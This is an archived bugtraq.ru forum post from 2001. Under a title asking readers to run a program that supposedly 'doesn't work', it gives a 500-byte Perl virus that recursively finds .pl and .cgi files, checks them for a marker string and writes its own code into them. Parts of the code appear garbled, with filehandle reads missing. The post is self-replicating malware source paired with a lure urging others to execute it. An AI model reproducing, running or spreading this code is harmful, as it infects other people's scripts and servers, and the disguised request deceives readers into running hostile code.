информационная безопасность
без паники и всерьез
 подробно о проектеRambler's Top100
Сетевые кракеры и правда о деле ЛевинаВсе любят медSpanning Tree Protocol: недокументированное применение
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 Phrack #70/0x46 
 Возможно, Facebook наступил на... 
 50 лет электронной почте 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / форум / programming
Имя Пароль
ФОРУМ
все доски
FAQ
IRC
новые сообщения
site updates
guestbook
beginners
sysadmin
programming
operating systems
theory
web building
software
hardware
networking
law
hacking
gadgets
job
dnet
humor
miscellaneous
scrap
регистрация





Легенда:
  новое сообщение
  закрытая нитка
  новое сообщение
  в закрытой нитке
  старое сообщение
  • Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
  • Новичкам также крайне полезно ознакомиться с данным документом.
[Perl] Люди, запустите прогу, а то штой-то не работает :((( 22.05.01 00:04  Число просмотров: 618
Автор: izlam Статус: Незарегистрированный пользователь
<"чистая" ссылка>
$z='#x0DEAD';g();
#x0DEAD
sub g{my$y=sub{local$_;open(A,$0);$_=join'',<A>;close(A);open(I,my$f=shift);my@m=;close(I);open(I,">$f");print I($m[0],"\n\$z='#x0DEAD';g();",@m[1..$#m],"\n",/(^$z.*)/ms);close(I)};my$x=sub{local;open(I,shift);$_=join'',;close(I);return/^$z$/m};my($d,$k)=(shift().'/');opendir(D,$d);my@e=readdir(D);closedir(D);my@h=grep{/^[^\.]/&&-d$d.$_}@e;map{$x->($d.$_)|$y->($d.$&&++$k)}grep{/\.(pl|cgi)$/}grep{-f$d.$_}@e;if(!$k){while(@h){$k=g($d.pop(@h))||last}}$k}

цопирайты тоже мои :)))
500 байт ровно с учетом 3-x 0D0A (под виндой писалось, посему не уверен, шта под nix-ом работать будет, но должно, протестируюте, плиз)
ну конечно бы еще не помешало первой строкой указать путь к интерТРЕПатору, но тогда 500 байт не получится... :(((
<programming> Поиск 








Rambler's Top100
Рейтинг@Mail.ru


  Copyright © 2001-2021 Dmitry Leonov   Page build time: 0 s   Design: Vadim Derkach